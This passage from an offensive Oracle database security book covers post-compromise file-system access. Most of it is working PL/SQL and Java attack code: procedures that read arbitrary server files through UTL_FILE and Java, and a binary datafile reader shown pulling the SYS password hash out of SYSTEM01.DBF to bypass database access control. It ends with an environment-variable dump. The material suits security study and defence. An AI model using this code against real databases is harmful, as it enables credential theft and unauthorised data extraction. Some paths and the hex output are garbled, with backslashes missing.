Once a server has been compromised, an attacker may want to explore the file system - indeed, numerous Oracle files contain user IDs and passwords, so attackers may be able to elevate privileges if they have not already done so. Accessing the file system can be achieved using PL/SQL or Java. Because access to the file system is achieved with the privileges of the account used to run the server, attackers can gain direct, raw access to the database datafiles. As such, all database-enforced access control can be completely bypassed. You already saw this in Chapter 8, "Defeating Virtual Private Databases."
The UTL_FILE package enables Oracle users to read and write to the file system. As already noted, access to files on the file system is achieved with the privileges of the Oracle user - so anything this user can read or write to can be read or written to by anyone else. The following PL/SQL code can be used to read files from the file system:
CREATE OR REPLACE PROCEDURE READ_FILE(DIRNAME VARCHAR2, FNAME VARCHAR2) AS invalid_path EXCEPTION; access_denied EXCEPTION; PRAGMA EXCEPTION_INIT(invalid_path, -29280); PRAGMA EXCEPTION_INIT(access_denied, -29289); FD UTL_FILE.FILE_TYPE; BUFFER VARCHAR2(260); BEGIN EXECUTE IMMEDIATE 'CREATE OR REPLACE DIRECTORY RW_FILE AS ''' || DIRNAME || ''''; FD := UTL_FILE.FOPEN('RW_FILE',FNAME,'r'); DBMS_OUTPUT.ENABLE(1000000); LOOP UTL_FILE.GET_LINE(FD,BUFFER,254); DBMS_OUTPUT.PUT_LINE(BUFFER); END LOOP; EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE'; EXCEPTION WHEN invalid_path THEN DBMS_OUTPUT.PUT_LINE('File location or path is invalid.'); IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN UTL_FILE.FCLOSE(FD); END IF; EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE'; WHEN access_denied THEN DBMS_OUTPUT.PUT_LINE('Access is denied.'); IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN UTL_FILE.FCLOSE(FD); END IF; EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE'; WHEN NO_DATA_FOUND THEN DBMS_OUTPUT.PUT_LINE('End of file.'); IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN UTL_FILE.FCLOSE(FD); END IF; EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE'; WHEN OTHERS THEN IF (UTL_FILE.IS_OPEN(FD) = TRUE) THEN UTL_FILE.FCLOSE(FD); END IF; DBMS_OUTPUT.PUT_LINE('There was an error.'); EXECUTE IMMEDIATE 'DROP DIRECTORY RW_FILE'; END; / EXEC READ_FILE('C:','boot.ini');
Using the UTL_FILE package to access the file system requires that a user has either access to a DIRECTORY object or the privilege to create a DIRECTORY object. Using Java instead does not require the presence of a DIRECTORY - but rather the read and write java.io.FilePermission. This can be granted with a call to DBMS_JAVA.GRANT_PERMISSION:
exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<>','read'); exec dbms_java.grant_permission('SCOTT', 'SYS:java.io.FilePermission','<>','write');
The following code enables a user to read a file with the privileges of the Oracle user:
set serveroutput on CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADFILE" AS import java.lang.*; import java.io.*; public class JAVAREADFILE { public static void readfile(String filename) throws IOException { FileReader f = new FileReader(filename); BufferedReader fr = new BufferedReader(f); String text = fr.readLine();; while(text != null) { System.out.println(text); text = fr.readLine(); } fr.close(); } } / CREATE OR REPLACE PROCEDURE JAVAREADFILEPROC (p_filename IN VARCHAR2) AS LANGUAGE JAVA NAME 'JAVAREADFILE.readfile (java.lang.String)'; / exec dbms_java.set_output(2000); exec JAVAREADFILEPROC('C:oot.ini')
Clearly, the preceding code is much neater than using UTL_FILE and dispatches with those pesky DIRECTORY objects.
Accessing binary-based files is a little bit odd with Oracle's Java - if the file is too large it will send the server's CPU spinning at 100 percent. As such, when accessing a file, you need to do so in small chunks. The following code takes a filename as its first parameter and a file offset as its second parameter. It then reads 512 bytes from that offset.
SET ESCAPE ON SET ESCAPE "" SET SERVEROUTPUT ON CREATE OR REPLACE AND RESOLVE JAVA SOURCE NAMED "JAVAREADBINFILE" AS import java.lang.*; import java.io.*; public class JAVAREADBINFILE { public static void readbinfile(String f, int start) throws IOException { FileInputStream fis; DataInputStream dis; try { int i; int ih,il; int cnt = 1, h=0,l=0; String hex[] = {"0", "1", "2","3", "4", "5", "6", "7", "8","9", "A", "B", "C", "D", "E"," F"}; RandomAccessFile raf = new RandomAccessFile (f, "r"); raf.seek (start); for(i=0; i<=512; i++) { ih = il = raf.readByte() & 0xFF; h = ih >> 4; l = il & 0x0F; System.out.print("\\x" + hex[h] + hex[l]); if(cnt \% 16 == 0) System.out.println(); cnt ++; } } catch (EOFException eof) { System.out.println(); System.out.println("EOF reached "); } catch (IOException ioe) { System.out.println("IO error: "+ ioe); } } } / show errors / CREATE OR REPLACE PROCEDURE JAVAREADBINFILEPROC (p_filename IN VARCHAR2, p_start in number) AS LANGUAGE JAVA NAME 'JAVAREADBINFILE.readbinfile (java.lang.String, int)'; / show errors /
By directly accessing the Oracle datafiles using the following code, you can entirely bypass access control as enforced by the database server. For example, the following output shows accessing the part of the SYSTEM01.DBF file where the USER$ table is stored:
set serveroutput on exec dbms_java.set_output(2000); SQL> exec JAVAREADBINFILEPROC('C:\oracle\oradata\orcl\system01.DBF',448767) x53x59x53x02xC1x02x10x30x44x34x37x42x35x35x30x43 x35x46x37x30x44x45x44x01x80x02xC1x04x07x78x69x0A x1Bx04x3Cx23x07x78x6Ax03x11x0Ex24x12xFFxFFx01x80 xFFx02xC1x02xFFxFFx01x80x01x80x09x53x59x53x5Fx47 x52x4Fx55x50x6Cx00x11x05x06x53x59x53x54x45x4Dx02 xC1x02x10x44x34x44x46x37x39x33x31x41x42x31x33x30 x45x33x37x01x80x01x80x07x78x69x0Ax1Bx04x3Cx23x07 x78x69x0Ax1Bx04x3Cx23xFFxFFx01x80xFFx02xC1x02xFF xFFx01x80x01x80x09x53x59x53x5Fx47x52x4Fx55x50x6C x00x11x0Ex0Cx41x51x5Fx55x53x45x52x5Fx52x4Fx4Cx45 x01x80xFFx01x80x01x80x07x78x69x0Ax1Bx05x03x3CxFF xFFxFFx01x80xFFx02xC1x02xFFxFFx01x80x01x80x16x44 x45x46x41x55x4Cx54x5Fx43x4Fx4Ex53x55x4Dx45x52x5F x47x52x4Fx55x50xACx00x01x01x00x01x00x00x40x00x36 x00x0Fx00x40x00x36x00x0Fx02xC1x10x6Cx00x11x0Dx15 x41x51x5Fx41x44x4Dx49x4Ex49x53x54x52x41x54x4Fx52 x5Fx52x4Fx4Cx45x01x80xFFx01x80x01x80x07x78x69x0A x1Bx05x03x3CxFFxFFxFFx01x80xFFx02xC1x02xFFxFFx01 x80x01x80x16x44x45x46x41x55x4Cx54x5Fx43x4Fx4Ex53 x55x4Dx45x52x5Fx47x52x4Fx55x50xACx00x01x01x00x01 x00x00x40x00x36x00x0Ex00x40x00x36x00x0Ex02xC1x0F x6Cx00x07x05x01x80x01x80x02xC1x61x01x80x01x80x01 x80x01x80x6Cx00x11x0Cx16x52x45x43x4Fx56x45x52x59 x5Fx43x41x54x41x4Cx4Fx47x5Fx4Fx57x4Ex45x52x01x80 xFFx01x80x01x80x07x78x69x0Ax1Bx05x02x2CxFFxFFxFF x01x80xFFx02xC1x02xFFxFFx01x80x01x80x16x44x45x46 x41x55x4Cx54x5Fx43x4Fx4Ex53x55x4Dx45x52x5Fx47x52 x4Fx55x50xACx00x01x01x00x01x00x00x40x00x36x00x0D
If you look at the first line of output, the first 3 bytes are x53x59x53 - this is "SYS". Skipping the next 4 bytes and taking the next 16 you have the following:
"x30x44x34x37x42x35x35x30x43x35x46x37x30x44x45x44"
This translates to "0D47B550C5F70DED," which is the password hash for the SYS user. Confirming this, you can run the following select:
SQL> select password from dba_users where username = 'SYS'; PASSWORD ------------------------------ 0D47B550C5F70DED
The code can be wrapped in a loop to extract an entire datafile. See the section on "Data Exfiltration" in Chapter 12 for more about this.
Oracle 10g introduced a procedure called GET_ENV in the DBMS_SYSTEM package. This procedure takes the name of an environment variable and returns its value. It will not return the value for the PATH environment variable, however:
CREATE OR REPLACE PROCEDURE DUMP_ENV AS BUFFER VARCHAR2(260); BEGIN -- SYS.DBMS_SYSTEM.GET_ENV WON'T GIVE BACK THE -- PATH ENVIRONMENT VARIABLE SYS.DBMS_SYSTEM.GET_ENV('ORACLE_HOME',BUFFER); DBMS_OUTPUT.PUT_LINE('ORACLE_HOME: ' || BUFFER); SYS.DBMS_SYSTEM.GET_ENV('ORACLE_SID',BUFFER); DBMS_OUTPUT.PUT_LINE('ORACLE_SID: ' || BUFFER); SYS.DBMS_SYSTEM.GET_ENV('COMPUTERNAME',BUFFER); DBMS_OUTPUT.PUT_LINE('COMPUTERNAME: ' || BUFFER); SYS.DBMS_SYSTEM.GET_ENV('OS',BUFFER); DBMS_OUTPUT.PUT_LINE('OS: ' || BUFFER); SYS.DBMS_SYSTEM.GET_ENV('TEMP',BUFFER); DBMS_OUTPUT.PUT_LINE('TEMP: ' || BUFFER); SYS.DBMS_SYSTEM.GET_ENV('WINDIR',BUFFER); DBMS_OUTPUT.PUT_LINE('WINDIR: ' || BUFFER); SYS.DBMS_SYSTEM.GET_ENV('SYSTEMROOT',BUFFER); DBMS_OUTPUT.PUT_LINE('SYSTEMROOT: ' || BUFFER); SYS.DBMS_SYSTEM.GET_ENV('PROGRAMFILES',BUFFER); DBMS_OUTPUT.PUT_LINE('PROGRAMFILES: ' || BUFFER); SYS.DBMS_SYSTEM.GET_ENV('COMSPEC',BUFFER); DBMS_OUTPUT.PUT_LINE('COMSPEC: ' || BUFFER); SYS.DBMS_SYSTEM.GET_ENV('PROCESSOR_ARCHITECTURE',BUFFER); DBMS_OUTPUT.PUT_LINE('PROCESSOR_ARCHITECTURE: ' || BUFFER); SYS.DBMS_SYSTEM.GET_ENV('PROCESSOR_IDENTIFIER',BUFFER); DBMS_OUTPUT.PUT_LINE('PROCESSOR_IDENTIFIER: ' || BUFFER); END DUMP_ENV; / EXEC DUMP_ENV;
This procedure produces the following output:
ORACLE_HOME: C:oracleproduct10.1.0Db_1 ORACLE_SID: orcl10g COMPUTERNAME: GLADIUS OS: Windows_NT TEMP: C:WINDOWSTEMP WINDIR: C:WINDOWS SYSTEMROOT: C:WINDOWS PROGRAMFILES: C:Program Files COMSPEC: C:WINDOWSsystem32cmd.exe PROCESSOR_ARCHITECTURE: x86 PROCESSOR_IDENTIFIER: x86 Family 6 Model 9 Stepping 5, GenuineIntel
This chapter examined a number of ways to access the file system and use it as a mechanism for bypassing access control. You also looked at a brief section on using DBMS_SYSTEM for dumping environment variables.
Introduction